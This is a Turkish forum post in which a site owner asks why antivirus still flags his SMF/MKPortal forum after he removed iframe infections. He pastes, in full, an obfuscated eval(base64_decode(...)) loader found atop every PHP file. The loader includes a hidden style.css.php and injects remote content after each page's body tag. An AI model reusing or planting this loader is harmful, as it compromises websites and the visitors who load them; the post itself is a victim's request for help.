merhaba ben smf 1.7 + mkportal kullanıyorum sitemin index dosyalarına iframe virüsü adın altında neglite ve sarcoop adlı sitelerden virüs bulaşmış bütün index dosyalarını tek tek buldum sitede iframe olarak geçen adresleri kaldırdım yine de siteye girdiğimde kullanmış olduğum avast pro adlı antivirüs programı forum/index.php dosyasında sarcoop adlı virüsü gösteriyor ama index dosyasında hiçbir kalıntı bırakmadım neden virüs varmış gibi görünüyor???
birde
önceden hiç dikkat etmemiştim bütün .php dosyalarının en başında aşağıda verdiğim eval diye başlayan kodlar gözüküyor normal mi yoksa kötü bişey mi bilen varsa yardımcı olsun lütfen..
şimdiden teşekkür ederim..
<? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZ XQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm 8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9oYW4xMDAwMi9 kb21haW5zL2hhbmFrLWFsYWNhbWxpeWl6LmNvbS9wdWJsaWNf aHRtbC9ta3BvcnRhbC9lZGl0b3IvanNjcmlwdHMvdGlueV9tY 2UvdGhlbWVzL2FkdmFuY2VkL3NraW5zL2RlZmF1bHQvaW1nL3 N0eWxlLmNzcy5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9tZS9 oYW4xMDAwMi9kb21haW5zL2hhbmFrLWFsYWNhbWxpeWl6LmNv bS9wdWJsaWNfaHRtbC9ta3BvcnRhbC9lZGl0b3IvanNjcmlwd HMvdGlueV9tY2UvdGhlbWVzL2FkdmFuY2VkL3NraW5zL2RlZm F1bHQvaW1nL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9 leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29i aCcpKXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpK XtmdW5jdGlvbiBnemRlY29kZSgkUjIwRkQ2NUU5Qzc0MDYwMz RGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODd BMzNFNEQzQTQ5N0JEODZCPW9yZChzdWJzdHIoJFIyMEZENjVF OUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwzLDEpKTskUjYwM TY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPTEwOyRSME Q1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZig kUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjQp eyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9d W5wYWNrKCd2JyxzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0Rk FEQzY4MkYwNjczMjg2OCwxMCwyKSk7JFIwRDU0MjM2REEyMDU 5NEVDMTNGQzgxQjIwOTczMzkzMT0kUjBENTQyMzZEQTIwNTk0 RUMxM0ZDODFCMjA5NzMzOTMxWzFdOyRSNjAxNjlDRDFDNDdCN 0E3QTg1QUI0NEY4ODQ2MzVFNDErPTIrJFIwRDU0MjM2REEyMD U5NEVDMTNGQzgxQjIwOTczMzkzMTt9aWYoJFI2QjZFOThDREU 4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY4KXskUjYwMTY5Q0Qx QzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwR kQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKS wkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSs xO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JE ODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0N jM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNj gyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E 4NUFCNDRGODg0NjM1RTQxKSsxO31pZigkUjZCNkU5OENERThC MzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDN DdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fSRSQzRBNUI1RT MxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9Z3ppbmZsYXRlKHN 1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMy ODY4LCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFN DEpKTtpZigkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRT M5RjUzPT09RkFMU0UpeyRSQzRBNUI1RTMxMEVENEMzMjNFMDR ENzJBRkFFMzlGNTM9JFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4 MkYwNjczMjg2ODt9cmV0dXJuICRSQzRBNUI1RTMxMEVENEMzM jNFMDRENzJBRkFFMzlGNTM7fX1mdW5jdGlvbiBkZ29iaCgkUk RBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKXtIZWF kZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTskUjNFMzNF MDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPWd6ZGVjb2RlK CRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0YpO2 lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRSM0UzM0UwMTd DRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApKXtyZXR1cm4gcHJl Z19yZXBsYWNlKCcvKFw8Ym9keVteXD5dKlw+KS9zaScsJyQxJy5nbWwoKSwkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKTt9ZWxzZXtyZXR1cm4gZ21sKCkuJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MDt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>
<?php/**********************************************************************************
* index.php *
***********************************************************************************
* SMF: Simple Machines Forum *
* Open-Source Project Inspired by Zef Hemel (
zef@zefhemel.com) *
* =============================================================================== *
* Software Version: SMF 1.1.7 *
* Software by: Simple Machines (
http://www.simplemachines.org) *
* Copyright 2006-2007 by: Simple Machines LLC (
http://www.simplemachines.org) *
* 2001-2006 by: Lewis Media (
http://www.lewismedia.com) *
* Support, News, Updates at: http://www.simplemachines.org *
***********************************************************************************
* This program is free software; you may redistribute it and/or modify it under *
* the terms of the provided license as published by Simple Machines LLC. *
* *
* This program is distributed in the hope that it is and will be useful, but *
* WITHOUT ANY WARRANTIES; without even any implied warranty of MERCHANTABILITY *
* or FITNESS FOR A PARTICULAR PURPOSE. *
* *
* See the "license.txt" file for details of the Simple Machines license. *
* The latest version can always be found at
http://www.simplemachines.org. *
**********************************************************************************/
